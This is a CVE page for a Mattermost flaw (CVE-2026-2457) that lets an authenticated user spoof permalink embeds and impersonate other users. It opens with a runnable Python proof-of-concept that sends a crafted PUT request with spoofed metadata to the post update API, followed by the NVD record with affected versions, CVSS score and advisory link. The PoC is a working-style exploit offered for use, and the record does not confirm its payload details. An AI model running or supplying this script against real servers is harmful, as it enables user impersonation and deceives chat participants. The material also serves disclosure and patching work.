CVE-2026-2457

import requests import json # CVE-2026-2457 PoC - Mattermost Permalink Embed Spoofing # Target: Mattermost <= 11.3.0, <= 11.2.2, <= 10.11.10 TARGET_URL = "https://mattermost.example.com" POST_ID = "target_post_id_here" ATTACKER_TOKEN = "attacker_auth_token_here" TARGET_USER_ID = "victim_user_id_here" def exploit_spoofing(): """ Exploit description: 1. Authenticate as low-privilege user 2. Send crafted PUT request with spoofed metadata 3. The post will display with impersonated user identity """ headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } # Crafted payload with spoofed metadata payload = { "id": POST_ID, "message": "Legitimate-looking message", "metadata": { "embed": { "type": "permalink", "data": { "post_id": POST_ID, "user_id": TARGET_USER_ID, # Spoofed user ID "timestamp": "2026-03-15T10:00:00Z" } } } } endpoint = f"{TARGET_URL}/api/v4/posts/{POST_ID}" response = requests.put(endpoint, headers=headers, json=payload) if response.status_code == 200: print("[+] Spoofed permalink embed created successfully") print(f"[*] Other users will see this post as from user: {TARGET_USER_ID}") else: print(f"[-] Exploit failed: {response.status_code}") print(response.text) if __name__ == "__main__": exploit_spoofing()

{"cve": {"id": "CVE-2026-2457", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:19:29.367", "lastModified": "2026-03-18T17:49:10.550", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mattermost versions 11.3.x <= 11.3.0, 11.2.x <= 11.2.2, 10.11.x <= 10.11.10 fail to sanitize client-supplied post metadata which allows an authenticated attacker to spoof permalink embeds impersonating other users via crafted PUT requests to the post update API endpoint.. Mattermost Advisory ID: MMSA-2025-00569"}, {"lang": "es", "value": "Mattermost versiones 11.3.x &lt;= 11.3.0, 11.2.x &lt;= 11.2.2, 10.11.x &lt;= 10.11.10 no sanean los metadatos de publicación suministrados por el cliente, lo que permite a un atacante autenticado suplantar incrustaciones de permalink haciéndose pasar por otros usuarios a través de solicitudes PUT manipuladas al punto final de la API de actualización de publicaciones. ID de aviso de Mattermost: MMSA-2025-00569"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-346"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.11.0", "versionEndExcluding": "10.11.11", "matchCriteriaId": "B6E5F368-358C-429B-8F04-3C8DF4A71A91"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.2.0", "versionEndExcluding": "11.2.3", "matchCriteriaId": "7F64C167-943D-4F3F-9374-BCC8DECB3881"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.3.0", "versionEndExcluding": "11.3.1", "matchCriteriaId": "945A6E29-209F-4992-8692-BEF63DCB6B98"}]}]}], "references": [{"url": "https://mattermost.com/security-updates", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}